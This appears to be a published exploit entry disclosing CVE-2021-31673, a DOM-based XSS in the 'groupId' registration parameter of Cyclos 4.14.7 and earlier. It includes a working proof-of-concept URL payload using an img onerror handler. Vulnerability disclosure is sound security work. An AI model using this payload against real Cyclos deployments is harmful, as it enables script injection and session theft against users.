Cyclos 4.14.7 – ‘groupId’ DOM Based Cross-Site Scripting (XSS)
# Exploit Title: Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS) # Date: 17/04/2021 # Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services # Vendor Homepage: https://www.cyclos.org/ # Version: Cyclos 4.14.7 (and prior) # Tested on: Ubuntu # CVE : CVE-2021-31673 # Description: A Dom-based Cross-site scripting (XSS) vulnerability at registration account in Cyclos 4 PRO.14.7 and prior allows remote attackers to inject arbitrary web script or HTML via the 'groupId' parameter. # Steps to reproduce: An attacker sends a draft URL [IP]/#users.users.public-registration!groupId=1%27%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E to victim. When a victim opens the URL, XSS will be triggered. |